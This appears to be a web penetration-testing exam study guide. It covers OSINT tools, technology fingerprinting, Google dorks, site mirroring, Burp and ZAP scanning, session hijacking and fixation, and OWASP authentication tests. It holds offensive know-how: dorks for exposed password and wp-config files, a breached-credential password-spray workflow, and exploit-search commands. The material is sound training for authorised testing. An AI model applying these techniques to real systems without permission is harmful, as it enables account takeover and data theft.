Sources/modules include: anubis, baidu, bing, bingapi, brave, censys, certspotter, crtsh (Comodo certificate search), duckduckgo, fullhunt, hunter, intelx, netlas, otx (AlienVault), pentesttools, rapiddns, securityTrails, shodan, threatminer, tomba, urlscan, virustotal, whoisxml, yahoo, zoomeye.

Notes from the demo:

  • Many powerful modules (hunter, intelx, netlas, pentesttools, tomba, virustotal, whoisxml, zoomeye) require an API key; free tiers exist but are rate-limited per day. Missing key → missing API key for <source>, which is non-fatal, the run continues.
  • Sources change over time — dnsdumpster was a module and is no longer available. Always re-read -h for the current list.
  • Passing a company name (-d INE) yields different results to passing a domain (-d ine.com); the domain form yields far more (hosts, IPs, ASNs, interesting URLs).
  • Output sections: Emails found, Hosts found, IPs, Interesting URLs, ASNs, People found.
  • Brave as a source may fail with cannot decode content encoding: br — drop it from the list and re-run.
  • Google is no longer supported as a source (rate limiting).

EyeWitness — website screenshots + passive fingerprinting

Takes screenshots of a list of websites, captures server header info, saves page source, and identifies default credentials if the application is known — extremely useful against admin panels, CMS login forms and long bug-bounty subdomain lists.

# Install from the Kali repos
sudo apt install eyewitness
# Build the input list — one URL/host per line (also accepts CSV, XML from nmap/Nessus/Nexpose)
cat > domains.txt <<'EOF'
hackersploit.org
forum.hackersploit.org
EOF
# Screenshot every host in the file via Selenium and write the report to a directory
eyewitness --web -f domains.txt -d /home/kali/Desktop/hackersploit
FlagMeaning
--webHTTP screenshots via Selenium (the mode you want for web targets)
-fInput file (auto-detects the format)
-dOutput directory for the report
--singleScreenshot one URL instead of a file
--timeoutSeconds to wait per page before giving up
--user-agentCustom User-Agent string
--proxy-ip / --proxy-portSend requests through a proxy (e.g. Burp)
--prepend-httpsTry http:// and https:// for entries with no scheme
--no-promptDo not prompt to open the report at the end
--resultsNumber of results per report page
--threadsConcurrency

Output directory layout and what to mine from it:

ArtifactUse
screens/Rendered screenshots — triage hundreds of hosts visually
source/Saved page source of each homepage
report.html / report_page2.htmlPer-host panel: screenshot, page title, response headers, resolved IP, link to source
Downloaded JS/jQuery librariesVersion-check for known vulnerable libraries
requests.csvEvery request made, plus open ports per host

Header-level intel visible directly in the report: X-Powered-By: PHP/7.4.29, cf-cache-status (Cloudflare), Content-Security-Policy, CMS-specific headers (e.g. Discourse). The resolved IP column shows whether hosts collapse onto a single proxy IP.

Leaked password databases

Correlate harvested employee emails against public breach data; a hit gives you a real password candidate for a password spray against the target's login form, VPN, webmail or SSO.

  • haveibeenpwned.com (Troy Hunt) — aggregates breach corpora, free, no sign-up, has an API. Search by email address or phone number. Shows which breaches an address appeared in, and a summary of the largest breaches with details (e.g. the April 2021 Facebook set of ~533M users, ~20% of subscribers).
  • Workflow: theHarvester (1.8) → employee emails → HIBP → breached-in-which-service → candidate passwords → password spray (only when authorised and in scope).
  • Rationale: password reuse is near-universal, so one breached credential frequently unlocks unrelated services.

Exam tips — 1.8

  • theHarvester's value is subdomains and hosts as much as emails — run it with crtsh,otx,rapiddns,urlscan before you touch a scanner.
  • Trap: -s (Shodan), --screenshot, -r, -t cross from passive into semi-active. Know which side of the line you are on if a question asks you to classify a technique.
  • EyeWitness is the fastest way to triage a large host list — look for admin panels and default-credential hints first.
  • Evidence to record: every email address, every host/subdomain, every resolved IP, screenshot filenames.

1.9 Web Application Technology Fingerprinting

Goal: identify the client-side framework, the server-side language, the web server, the CMS, the database, the CDN/WAF, and the exact versions — versions feed directly into A06:2021 (Vulnerable and Outdated Components) and into choosing the right injection/exploit syntax.

Browser extensions

ToolAvailable onWhat it shows
BuiltWithFirefox + ChromiumTabs: Tech, Detailed, Meta, Relationship, Redirects. Tech tab (free) gives widgets/plugins, web server, frameworks, CDN, CMS, third-party theme, JavaScript libraries and functions, analytics. The Relationship view lists subdomains. Detailed view and lookups beyond the free quota require an account/subscription
WappalyzerFirefox + ChromiumSuccinct panel: CMS + version, widgets, analytics, font scripts, programming language, plugins (with versions), database, JavaScript libraries. May need sign-in and sometimes returns nothing on first load — refresh the page
Netcraft (site report)Web/extensionHosting history, netblock owner, server software, first-seen date

Read-off example: MonsterInsights + MailChimp + Yoast SEO + /wp-content/ → WordPress; PHP + MySQL + Apache/LiteSpeed on Linux → LAMP stack; Cloudflare in the CDN row → proxy in front of origin.

whatweb (CLI, pre-installed on Kali)

"Next-generation web scanner" — identifies technologies used by websites, passively by default.

# Fingerprint a target's technology stack
whatweb hackersploit.org
# Verbose, human-readable output broken out per plugin
whatweb -v hackersploit.org
# Aggression level 1 = stealthy (single request, passive); 3 = aggressive; 4 = heavy
whatweb -a 1 hackersploit.org
# Fingerprint a list of hosts and log the results
whatweb -i domains.txt --log-verbose=whatweb.txt

Reading whatweb output: HTTPServer, Apache/nginx/LiteSpeed; the initial 301 moved permanently block with HTTPServer[cloudflare] then the real GET — the redirect means a proxy sits in front; jQuery[x.y.z], Modernizr — client-side libraries and versions; PHP[7.4.29] and X-Powered-By — server-side language and version; WordPress — CMS; Title[...]; Email[...] — harvested addresses (zonetransfer.me leaks customerservices@zonetransfer.me this way); UncommonHeaders[...] — frequently names CMS plugins; IP[...].

Header and cookie signatures to recognise

SignatureIndicates
Server: Apache/2.4.x / nginx/1.x / LiteSpeed / Microsoft-IIS/10.0Web server + version
X-Powered-By: PHP/7.4.29Server-side language + version
X-Powered-By: ASP.NET, X-AspNet-Version.NET stack
X-Generator: Drupal 9, X-Drupal-CacheDrupal
/wp-content/, /wp-admin/, /wp-includes/ in HTML or robots.txtWordPress
Set-Cookie: PHPSESSID=PHP
Set-Cookie: JSESSIONID=Java (Tomcat/JBoss/WebLogic)
Set-Cookie: ASP.NET_SessionId= / ASPSESSIONIDASP.NET / classic ASP
Set-Cookie: connect.sid=Node.js / Express
Set-Cookie: laravel_session=Laravel (PHP)
Set-Cookie: _session_id=, _<app>_sessionRuby on Rails
CF-RAY, cf-cache-status, Server: cloudflareCloudflare proxy/WAF
X-Sucuri-IDSucuri WAF
Custom joke/odd X-Powered-By valuesDeveloper-set header — still tells you a human configured it; check for other custom headers

Banner grabbing (WSTG-INFO-02) is the first web-server fingerprinting technique; the WSTG also lists sending malformed requests and automated tooling (Nikto, Netcraft, Nmap).

HTTP methods worth enumerating during recon (WSTG-CONF-06)

# Ask the server which HTTP methods it allows (read the Allow: / Public: response header)
curl -sik -X OPTIONS https://target.tld/
# Nmap NSE equivalent, including methods the server does not advertise
nmap -p 80,443 --script http-methods --script-args http-methods.test-all=true <target-ip>
MethodPurposeWhy you care
GETRetrieve a resourceParameters in the URL; cached and logged
POSTSubmit dataMain input surface for forms and APIs
HEADHeaders onlyFast banner grabbing / existence checks
OPTIONSList supported methodsReveals Allow: header and dangerous verbs
PUTUpload/replace a resourceIf enabled and unauthenticated → arbitrary file upload → RCE
DELETERemove a resourceDestructive; should never be exposed
TRACEEcho the request backEnables Cross-Site Tracing (XST), can expose HttpOnly cookies
CONNECTTunnel through the serverServer may be abused as an open proxy
PATCHPartial updateOften missing the authorization checks that POST has
Arbitrary verbNon-standard methodHTTP verb tampering (WSTG-INPV-03) can bypass access controls that only filter GET/POST
# Banner-grab: dump response headers only
curl -sI https://target.tld
# Nmap service/version detection against the web port
nmap -sV -p 80,443 <target-ip>

Exam tips — 1.9

  • Fingerprint before you attack: the server-side language decides your payload syntax (PHP vs .NET vs Java), the database decides your SQLi syntax.
  • Trap: a CDN/WAF banner masks the origin. Do not report "Cloudflare" as the web server.
  • Cross-check at least two sources (extension + whatweb + headers) — extensions miss things and can return empty on first load.
  • Evidence to record: server software + version, language + version, CMS + version, plugin/theme names and versions, JS library versions, WAF/CDN.

1.10 Google Dorks & Search Engine Discovery (WSTG-INFO-01)

Search engines index whatever the site failed to exclude. If robots.txt was never updated and no noindex meta tags were used, indexes contain content the owner never intended to publish. Direct methods query indexes and caches; indirect methods mine forums, newsgroups and tendering sites for design/configuration details.

Operator reference

OperatorEffectExample
site:Limit results to a domain (also surfaces its subdomains)site:ine.com
site:*.Limit to subdomains only, excluding the apexsite:*.ine.com
inurl:Term must appear in the URLsite:ine.com inurl:admin
intitle:Term must appear in the page titlesite:*.ine.com intitle:admin
allintitle:All terms must appear in the titleallintitle:admin login
allinurl:All terms must appear in the URLallinurl:admin login
intext:Term must appear in the body textsite:target.com intext:"internal use only"
filetype: / ext:Restrict to a file extensionsite:*.ine.com filetype:pdf
cache:Google's cached copy of a page (historical view)cache:ine.com
related:Sites similar to the given onerelated:target.com
link:Pages linking to a URLlink:target.com
"..."Exact phrase"index of /backup"
-Exclude a termsite:target.com -www
*Wildcardsite:*.target.com
OR / |Boolean ORfiletype:xls OR filetype:xlsx
before: / after:Date-bounded resultssite:target.com after:2023-01-01

cache: has since been retired by Google; use the Wayback Machine (below) as the reliable historical source.

Dork recipes

# Everything Google has indexed for the domain, including subdomains
site:ine.com
# Subdomain enumeration via search engine (what Sublist3r automates)
site:*.ine.com
# Hunt an admin panel by URL or by page title
site:ine.com inurl:admin
site:*.ine.com intitle:admin
# Locate a forum / community subdomain
site:ine.com inurl:forum
# Documents exposed on the domain (network diagrams, internal PDFs, spreadsheets)
site:*.ine.com filetype:pdf
site:ine.com filetype:xlsx
site:ine.com filetype:docx
site:ine.com filetype:zip
# People / org intel
site:ine.com employees
site:ine.com instructors
# Directory listing enabled (a web server misconfiguration that exposes directory contents)
intitle:"index of"
intitle:"index of" "backup"
# Exposed credential files
inurl:auth_user_file.txt
inurl:password.txt
intitle:"password.txt"
# Government data leaks via directory listing (GHDB-style)
site:gov filetype:csv
# WordPress configuration backups — wp-config.php holds the MySQL credentials
inurl:wp-config.php.bak
intitle:"index of" "wp-config.php.bak"

Google Hacking Database (GHDB)

Maintained by Offensive Security at exploit-db.com/google-hacking-database. Browseable and filterable by category — Files Containing Juicy Info, Files Containing Passwords, Sensitive Directories, Vulnerable Files, Web Server Detection, Error Messages, Pages Containing Login Portals, Footholds, Network or Vulnerability Data. Search it by technology (e.g. "WordPress") to get ready-made dorks for that stack, then append site:target.com to constrain it to your scope.

Historical snapshots

Wayback Machine (web.archive.org) stores dated snapshots of a site going back decades (e.g. ine.com snapshots from 1999 onward). Why it matters operationally: companies redesign sites and assume old content is gone. Old versions frequently expose email addresses, contact details, internal hostnames, staff names and sensitive documents that were removed from the live site but still exist in the archive — and sometimes the referenced files are still live on the server.

# List every URL the Wayback Machine has archived for a domain (feeds directory/file discovery)
curl -s "http://web.archive.org/cdx/search/cdx?url=target.tld/*&output=text&fl=original&collapse=urlkey"

Exam tips — 1.10

  • Always anchor a dork to scope with site: — untargeted dorks return other people's exposed data, which you must not touch.
  • Google will rate-limit and CAPTCHA you if you fire dorks rapidly; slow down or switch engines (Bing/DuckDuckGo support site:, inurl:, filetype:).
  • Highest-yield dork trio on an exam target: site:, filetype:, intitle:"index of".
  • Evidence to record: the exact dork, the URL found, and the sensitive content it exposed.

1.11 Copying a Website for Offline Analysis (HTTrack)

Downloading a full local copy lets you analyse the directory structure, grep the whole site for strings, and find HTML comments, information leakage, API endpoints and JavaScript libraries without generating further traffic against the target.

# Install the CLI version (and optionally the browser-driven GUI)
sudo apt install httrack
sudo apt install webhttrack
# Read the built-in examples and option list before mirroring anything large
httrack --help
# Simplest mirror of a site into the current directory
httrack www.someweb.com/bob/
# Mirror into a chosen output directory
httrack www.someweb.com/bob/ -O /tmp/mirror
# Mirror two sites at once, accepting only .jpg files from .com hosts and skipping PDFs
httrack www.someweb.com/bob/ www.anothertest.com/mike/ +*.com/*.jpg -mime:application/pdf
# Get all files ( +* ) starting from one page, limited to link depth 6
httrack www.someweb.com/bob/bobby.html +* -r6
# Spider mode: test links without downloading content
httrack --spider www.someweb.com/
# Practical engagement command: mirror a target into a per-target folder
mkdir -p ~/Desktop/digi && httrack https://digi.ninja -O ~/Desktop/digi

Interactive wizard — run httrack with no arguments and it prompts for: project name → base path (e.g. /home/kali/digi) → URL(s) (space-separated for multiple) → action (Mirror Web Site(s) / Mirror with Wizard / Just get files indicated / Test links / Mirror ALL links) → proxy → wildcards (file-extension filters, e.g. only .zip, only .js) → additional options (e.g. recurse level) → then it prints the equivalent command line before launching.

OptionEffect
-O <dir>Output/mirror directory
-r<N>Maximum link depth (recurse level), e.g. -r6
+*Accept all files
+*.com/*.jpgAccept-filter by host pattern and extension
-mime:application/pdfReject-filter by MIME type
--spiderTest links only, no download
--mirrorMirror mode

Key caveats from the demo

  • A site that issues a redirect (e.g. zonetransfer.me → digi.ninja) will mirror only an index.html containing the redirect. Mirror the final destination host, or handle the redirect and set an explicit link depth.
  • Mirrors grow fast — a modest site hit ~50 MB in minutes. Always set a recurse level or extension filters; check the folder's properties and kill the run when it is enough.
  • webhttrack launches a local web UI on http://localhost:8080: language → project name → project category → base path (e.g. /home/kali/websites) → action (Download web site(s) / Get individual files / Download all sites in pages) → URL(s) (+ optional HTTP auth username/password, or a URL list file) → Start.

What to do with the mirror

# Find developer comments and leaked notes in the downloaded HTML
grep -rn "<!--" ~/Desktop/digi/digi.ninja --include="*.html" | head -50
# Enumerate the mirrored directory structure (uploads, scripts, includes, admin)
find ~/Desktop/digi/digi.ninja -type d | sort

Directories worth immediate attention in a mirror: uploads/ (archives, PDFs, user-supplied files), scripts/ or js/ (JavaScript libraries → version-check them), includes/, admin/, backup/, plus robots.txt, manifest, analytics scripts and the stylesheet paths.

Exam tips — 1.11

  • Mirroring is passive from the target's perspective in terms of intent, but it is still a large volume of requests — set a depth limit so it does not look like a DoS.
  • Grep the mirror for <!--, TODO, password, apikey, /api/, and internal hostnames before doing any active testing.
  • Evidence to record: the paths and comments found, plus the JS library names and versions.

1.12 Crawling & Mapping with Burp Suite (Passive Crawling)

Passive crawling means Burp builds the site map purely from the traffic you generate by browsing through the proxy — no extra requests, no noise. It is the safest way to map an application and it catches things a spider misses because you drive the real workflows (login, forms, multi-step processes).

Lab setup sequence

# Identify your Kali IP — in INE labs Kali is always the .2 of the subnet and the target is the .3
ifconfig
# Confirm the target is up
ping -c 3 192.168.65.3
# Service/version detection on the web port to confirm a web server is listening
nmap -sV -p 80 192.168.65.3

Then: Kali menu → Web Application Analysis → burpsuite → Temporary project → Use Burp defaults → Start Burp. In Firefox enable the pre-configured FoxyProxy "Burp Suite" profile.

Cosmetic/UI options if you need them: User options → Display → Look and feel — Metal, GTK, or Darcula for dark mode (requires a Burp restart). Project options holds per-project settings; Configuration library holds reusable configs.

Working the map

  1. Set scope first: Target → Scope → Include in scope → Add → paste http://192.168.65.3.
  2. Browse the application normally. Proxy → HTTP history records everything; Target → Site map builds the tree. The live passive crawl runs automatically and populates the Issues pane; the Event log on the Dashboard confirms "Proxy service started successfully".
  3. Proxy → Intercept — toggle on to capture and edit a specific request (e.g. a login POST/GET), off while you browse to avoid stalling.
  4. Right-click any site-map node → Copy URL to open it directly in the browser, or send to Repeater (manual request/response iteration) or Intruder (brute force / fuzzing over a marked parameter).
  5. In Repeater, use Follow redirection and the Render tab to see the response as the browser would.
  6. Browse robots.txt through the proxy so its paths enter the site map, then right-click the host → refresh/expand branch to reveal the new nodes.

What to hunt for in the site map

FindWhy it matters
setup.php / database setup scriptsDev leftovers; may allow re-initialising or manipulating the application
passwords/ directory, accounts.txtPlaintext credential files
config.inc / config/Configuration with DB credentials
phpmyadmin/Web GUI to MySQL/MariaDB; often unauthenticated or weakly credentialled in dev environments, and directly yields database read/write
/api/ directoriesUndocumented API surface
js/, javascript/Client-side logic, endpoints, tokens
*.sql / sql.phpRaw queries and tokens
documentation/, includes/Version info and include paths

Real workflow from the demo: robots.txt → passwords/ node → accounts.txt → credentials → confirmed against the login form in Repeater; separately phpmyadmin/ logged in without credentials → full database access → accounts table gave admin / adminpass.

Burp Community limitations to plan around: no active scanner, and no site-map search/filter by term (Professional only). Compensate by mirroring the site with HTTrack (1.11) and grepping offline, and by using ZAP's scanner (1.13).

Exam tips — 1.12

  • Order of operations: scope → browse every link and submit every form → then read the site map. Manually exercise login, registration, search, upload and any multi-step flow so those endpoints exist in the map.
  • Trap: leaving Intercept on. Requests silently queue and the app looks broken.
  • Send anything interesting to Repeater immediately — you will want to replay it many times.
  • Evidence to record: full URL, HTTP method, every parameter name and value, and the response status/length for both a valid and an invalid input.

1.13 Web App Scanning with OWASP ZAP

ZAP's active scanner is the free equivalent of Burp Professional's scanner. It is a vulnerability scanner: it sends crafted requests to detect SQLi, XSS, directory browsing and more. It is traffic-intensive — tune it and prefer scanning specific URLs over whole sites.

Lab setup

# Identify Kali's IP; target = same subnet, last octet .3
ifconfig
# Confirm the web stack before scanning (Apache on 80 + MySQL implies a CMS/auth backend)
nmap -sV -p- 192.168.65.3

Kali menu → Web Application Analysis → owasp-zap. Choose whether to persist the session. Set the mode (Standard for scanning, Protected to stay inside scope). Drag panes to taste; increase font via Tools → Options → Display.

Full authenticated-scan workflow

  1. Browse the app — toolbar → Manual Explore / Open Browser → enter the target URL. Dismiss the HUD if you do not want it. Log in with valid credentials (lab example: bWAPP, user bee / password bug) and exercise the vulnerable functionality so the passive crawl records those endpoints.
  2. Add to context — Sites tree → right-click the site → Include in Context → Default Context.
  3. Configure authentication — double-click the context → Authentication → select Form-based Authentication:
    • Login Form Target URL: the URL the login POST goes to (e.g. http://192.168.65.3/login.php) — select it from the recorded requests.
    • Login Request POST Data: copy the body of the captured login request, e.g. login=bee&password=bug&security_level=0&form=submit.
    • Username Parameter: login · Password Parameter: password.
    • Logged Out response messages regex: a string that only appears when logged out, e.g. Login.
  4. Add the user — context → Users → Add → name the user and supply the real username/password (bee / bug). Enable the user.
  5. Spider — right-click the target → Attack → Spider. Set Context = Default Context, User = your user (this runs an authenticated spider), tick Recurse. Start Scan. Watch the "URLs Found" counter.
  6. Active Scan — right-click the target → Attack → Active Scan. Leave Policy and Context as-is, set User to your authenticated user, optionally add a filter. Start Scan.
  7. Watch the Alerts tab while it runs.

Tuning and other ZAP attack options

Setting / featureWhere
Hosts scanned concurrently, threads per hostActive Scan dialog → Options tab (throttle this)
Scan policy (which rules run, strength/threshold)Active Scan dialog → Policy tab
Spider / AJAX Spider (JS-heavy apps)Right-click → Attack → Spider / AJAX Spider
Forced Browse (directory & file brute force)Right-click → Attack → Forced Browse site / directory / directory and children
Fuzzer (ZAP's equivalent of Burp Intruder)Right-click a request → Attack → Fuzz
Requester/Repeater equivalentRequest/Response panes, Manual Request Editor
Encoder/Decoder/HashTools → Encode/Decode/Hash — use URL decode to read URL-encoded SQLi payloads out of an alert's URL

Reading alerts

Each alert gives: risk level (Informational / Low / Medium / High, plus confidence), affected URL, the parameter, the attack string, evidence, a description, and a solution for developers. Example from the demo: SQL Injection on /sqli_1.php?title=John... (URL-encoded) with the note "SQL injection may be possible ... the page results were successfully manipulated using the boolean conditions". Cross-site scripting alerts on htmli_get.php correspond to the HTML-injection pages exercised during browsing.

Authenticated vs unauthenticated: an unauthenticated (black-box) scan sees only the pre-login surface. Supplying credentials via the context/user configuration lets the scanner reach and test the post-login application, and finds substantially more.

Exam tips — 1.13

  • Scan narrowly. Right-click a specific URL (e.g. the one suspicious parameter) rather than the site root when you are time-boxed or worried about noise.
  • Always spider as the authenticated user before active scanning, or you scan the login page 400 times and nothing else.
  • Trap: scanner alerts are leads, not answers. Reproduce every High alert manually in the browser/Repeater before recording it.
  • Use the Encoder/Decoder to URL-decode the alert's attack string — that decoded payload is usually the answer you need.
  • Evidence to record: alert name, risk, URL, parameter, the decoded attack string, and your manual reproduction.

1.14 Session IDs, Cookies, Hijacking & Fixation

Session IDs

A session ID / session identifier is a unique token or string generated by the web application to identify and track a user session. It is what makes stateful communication possible over stateless HTTP: the server associates incoming requests with server-side session data (identity, permissions, preferences) by looking up the ID.

Flow: user logs in → server generates a session ID (e.g. SESSION12345) and associates it with the session → the ID is sent to the browser as a cookie → every subsequent request carries the cookie → the server identifies the user and applies their account's permissions.

Cookies

Cookies are small pieces of data — usually text, sometimes encoded, encrypted or hashed — that the server sends to the browser, which stores them locally and returns them on subsequent requests. Purposes: session management, user tracking, personalization. A session cookie carries the session ID.

Because the cookie lives client-side, it is fully attacker-controllable — which is why cookie tampering / cookie manipulation is the core technique for attacking session management.

# See the Set-Cookie headers an application issues (names, values and attributes)
curl -sI https://target.tld/login | grep -i "set-cookie"

Session hijacking (session theft)

An attacker takes over a user's active session by obtaining their session token and presenting it, impersonating the victim. Severe because it yields unauthorized access to accounts and data with no credentials needed.

Acquisition techniqueMechanismDefensive requirement it violates
Session predictionGuess the token because it is predictable or lacks sufficient randomness (e.g. admin = admin001, next user = user002)Tokens must be long, random, non-sequential, and in a format only the server can generate/decode
Session sniffingIntercept the token in transit over an unsecured network (open Wi-Fi, or traffic sniffing on a LAN during a pentest)Tokens must only travel over TLS
Cross-site scriptingInject JavaScript into the victim's browser that reads and exfiltrates the token — typically stored XSS hosting a cookie stealerHttpOnly cookies; output encoding

Impersonation phase: with the token in hand the attacker presents it on each request. Absent a second factor or re-authorization, the application treats the attacker as the authenticated user.

Impacts: data theft (personal information, financial details); account takeover (change settings, password or email address, locking the victim out); malicious transactions and unauthorized purchases; data manipulation or deletion.

Session fixation

The attacker sets (fixes) the victim's session identifier to a value the attacker already knows, then gets the victim to authenticate using it.

  1. Token acquisition — the attacker first obtains a valid session token issued by the target application, either by requesting one legitimately, by predicting/guessing a weakly random token, or by intercepting one over an insecure channel (no HTTPS).
  2. Fixation — the attacker fixes the victim's token to that known value: sending the victim a link containing the fixed session token, getting them to click a specially crafted URL, or using social engineering to make them log in under specific circumstances.
  3. Hijacking — the victim logs in with the fixed token. The application recognises the token as valid and now authenticated, so the attacker — already holding that same token — is recognised as the legitimate user.

Hijacking vs fixation, the distinction to state in an answer: in hijacking the attacker steals an existing session token after the victim authenticates; in fixation the attacker supplies the token in advance and waits for the victim to authenticate it. Fixation's root cause is the application failing to regenerate the session ID on authentication; that regeneration is the fix.

Cookie attributeEffectAttack it mitigates
SecureCookie only sent over HTTPSSession sniffing
HttpOnlyCookie unreadable from JavaScript (document.cookie)XSS-based session theft
SameSite=Strict/LaxRestricts cross-site sendingCSRF, some hijacking chains
Domain / PathLimits scope of the cookieOver-broad cookie sharing across subdomains
Expires / Max-AgeLifetime; absent = session cookieLong-lived stolen tokens

Exam tips — 1.14

  • First thing to do with any session cookie: collect several by logging in repeatedly and compare them. Sequential, short, or decodable (Base64/hex) values mean session prediction — decode before you assume randomness.
  • Check Set-Cookie for missing HttpOnly and Secure — a missing HttpOnly is the precondition that turns an XSS into a session hijack.
  • Fixation test: note the session ID before login, authenticate, and check whether the ID changed. If it did not, the app is vulnerable to session fixation.
  • Relevant WSTG IDs: WSTG-SESS-01 schema, WSTG-SESS-02 cookie attributes, WSTG-SESS-03 fixation, WSTG-SESS-04 exposed session variables, WSTG-SESS-09 hijacking.
  • Evidence to record: the raw Set-Cookie header, several sampled token values, the pre-login and post-login IDs, and the request proving impersonation.

2. Authentication & Session Management Attacks

Exam framing: almost every lab in this domain reduces to one of five questions — can I get in without credentials?, can I guess credentials?, can I forge the thing that proves who I am?, can I steal or fix someone else's session?, can I make the victim's browser act for me? Work the target in that order; it is fastest-first.


2.1 Authentication, Authorization & Session Management

Three distinct mechanisms that get conflated. Naming the right one is what lets you pick the right test — and on the exam, the right answer field.

AuthenticationAuthorizationSession management
Question answeredWho are you?What may you do?Are you still who you said you were?
ProcessVerify credentials (password, token, cert, OTP)Check roles/permissions against a resourceIssue, carry, validate and destroy a session identifier
OutcomeIdentity confirmed / login failsAccess granted / deniedContinuity of the authenticated state
Typical failureLogin bypass, brute force, credential stuffingIDOR, privilege escalation, forced browsingHijacking, fixation, CSRF, non-expiring tokens
WSTG familyWSTG-ATHN-*WSTG-ATHZ-*WSTG-SESS-*

Why sessions exist at all. HTTP is stateless — the server cannot remember you between requests. After authentication the server mints a session ID (or a self-contained token) and hands it to the browser; the browser replays it on every request. That identifier is your identity for the rest of the session. Every attack in this section is either (a) obtaining that identifier, (b) forging it, or (c) making the victim's browser use it on your behalf.

Trap: a session ID is not proof of authentication. Most modern apps issue a session cookie to anonymous visitors too (language, theme, cart, CSRF tokens). Confirm a cookie is an authenticated session before declaring a hijack — compare the cookie value before and after login.

Session lifecycle — four points where things break:

PhaseWhat should happenWhat you test for
CreationNew, unpredictable ID generated after successful authPredictable/sequential IDs; ID unchanged across login (→ fixation)
MaintenanceID replayed over HTTPS, bound to userID accepted from another IP/UA/device (→ hijacking); ID in URL
SecurityCookie flags set; server-side validationMissing HttpOnly/Secure/SameSite; client-trusted role data
TerminationInvalidated server-side on logout & timeoutCookie still valid after logout; no idle/absolute timeout

Exam tips

  • First thing to try: log in, capture the full request/response pair, and diff the Set-Cookie headers before vs. after authentication. That single diff answers "fixation?", "which cookie is the session?", and "which flags are missing?".
  • Common trap: calling an admin-panel access failure an authentication bug. If you were already logged in, it is authorization.
  • What proves the finding: a request carrying only the identifier (no credentials) returning authenticated content for another user.

2.2 Types of Authentication Mechanisms

MechanismHow it worksWhere the secret ridesPrimary weaknesses to test
Password / form-basedHTML form POSTs username+passwordRequest bodyEnumeration, weak policy, no lockout, SQLi bypass
HTTP BasicAuthorization: Basic base64(user:pass)Header, base64 = reversibleCleartext over HTTP, unlimited retries, no lockout
HTTP DigestMD5 challenge-response with nonceHeaderWeak hash, nonce reuse, downgrade to Basic
Bearer tokenOpaque string granting access to its holderAuthorization: Bearer <tok>Leakage in logs/URLs, no expiry, no binding to client
JWTSelf-contained signed header.payload.signatureHeader / cookie / bodyalg:none, alg confusion, weak secret, kid/jku abuse, exposed claims
OAuth 2.0 / OIDCDelegated authorization; tokens issued by IdPRedirect + headerredirect_uri manipulation, missing state, implicit-flow leakage
SSO (SAML / OAuth)One login, many servicesSAMLResponse POST / tokensSignature exclusion/wrapping, unvalidated assertions
MFA / 2FAPassword + second independent factorOTP field, app, SMS, emailBrute force, no rate limit, code reuse, response manipulation, step skipping
OTP (SMS/email/TOTP)Temporary single-use codeForm fieldShort codes, long validity, sequential generation, no rate limit
Certificate (mTLS)Client presents X.509 certTLS handshakeWeak CA validation, cert not bound to account
API keyStatic shared secretHeader or query paramHardcoded in JS/mobile, no rotation, no scope

Factor categories (for MFA questions): something you know (password, PIN), something you have (phone, hardware token, email inbox), something you are (biometric). Two passwords are not real 2FA — the factors must be independent.

Exam tips

  • First thing to try: identify the scheme from one intercepted request. Authorization: Basic → decode it immediately (base64 -d). Three dot-separated base64 blobs → JWT. ?code=/state= in a redirect → OAuth.
  • Common trap: assuming the web login form is the only door. Mobile/API endpoints (/api/v1/login, /auth/local) frequently skip the CAPTCHA, lockout and MFA the web form enforces — that is WSTG-ATHN-10.
  • What proves the finding: the weaker channel accepting credentials or returning a session for an account the strong channel protected.

2.3 Authentication Testing Methodology (OWASP WSTG)

The WSTG gives you test IDs to cite and, more usefully on the clock, a checklist so you do not miss the easy win.

IDTestWhat you actually do
WSTG-IDNT-04Account enumerationDiff responses for valid vs. invalid users on login / register / reset
WSTG-ATHN-01Credentials over encrypted channelIs the login POST plain HTTP? Does HTTPS downgrade?
WSTG-ATHN-02Default credentialsadmin:admin, product defaults, install-time accounts (fingerprint the CMS first)
WSTG-ATHN-03Weak lockout mechanismCount failures before lockout; test CAPTCHA strength and rate limits
WSTG-ATHN-04Bypassing authentication schemaForced browsing, parameter/cookie tampering, SQLi, session ID prediction
WSTG-ATHN-05Vulnerable "remember me"Is the persistent cookie just base64 of the username? Does it expire?
WSTG-ATHN-06Browser cache weaknessesBack-button after logout; Cache-Control/Pragma on authenticated pages
WSTG-ATHN-07Weak password policyRegister/change password with a, 123, username-as-password
WSTG-ATHN-08Weak security questionGuessable answers; enumeration via the question itself
WSTG-ATHN-09Weak password change/resetReset token predictable, reusable, not bound to user, no old-password check
WSTG-ATHN-10Weaker auth in alternative channelAPI / mobile / legacy endpoints with lesser controls
WSTG-SESS-01Session management schemaCollect, analyse, reverse-engineer and forge session tokens
WSTG-SESS-02Cookie attributesHttpOnly, Secure, SameSite, Domain, Path, Expires
WSTG-SESS-03Session fixationDoes the ID change on login?
WSTG-SESS-04Exposed session variablesSession ID in URL, logs, Referer, page source
WSTG-SESS-05CSRFState-changing requests without anti-CSRF tokens
WSTG-SESS-06Logout functionalityIs the token invalidated server-side?
WSTG-SESS-07Session timeoutIdle and absolute expiry
WSTG-SESS-08Session puzzlingSession variables set by one flow reused to authorise another
WSTG-SESS-09Session hijackingReplay a captured token from a different context

Opening 5-minute recon on any auth lab:

# Fingerprint the stack and version — version-specific auth bypasses are the fastest kill
curl -sI http://target/ | grep -iE 'server|x-powered-by|set-cookie'
curl -s http://target/changelog.txt http://target/CHANGELOG.md http://target/readme.html 2>/dev/null | head -20
# Known auth bypasses for the identified product/version (this is how the TikiWiki lab is solved)
searchsploit tikiwiki 21.1        # list public exploits for the exact version
searchsploit -m php/webapps/XXXXX.txt   # copy the PoC into the working directory
# Find hidden auth endpoints, admin panels and alternative channels
dirb http://target/ /usr/share/wordlists/dirb/common.txt -X .php,.txt,.bak
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://target/FUZZ -mc 200,301,302,401,403
# Capture the authenticated baseline: login once with known-good creds, save both messages
# In Burp: Proxy > HTTP history > right-click the login POST > "Save item"
# Diff the anonymous vs authenticated Set-Cookie and note every cookie name.

Exam tips

  • First thing to try: read the banner/version, then searchsploit. Several exam-style targets are unpatched real applications with a published one-line authentication bypass.
  • Common trap: burning 40 minutes brute-forcing a login that has a public CVE, or that has a second, unauthenticated API endpoint next to it.
  • What proves the finding: an authenticated page rendered for a request that carries no valid credentials.

2.4 Username Enumeration (WSTG-IDNT-04)

Why it works: the application responds differently depending on whether the account exists. That difference converts a two-unknown brute force (user + pass) into a one-unknown attack, and is itself a reportable information disclosure.

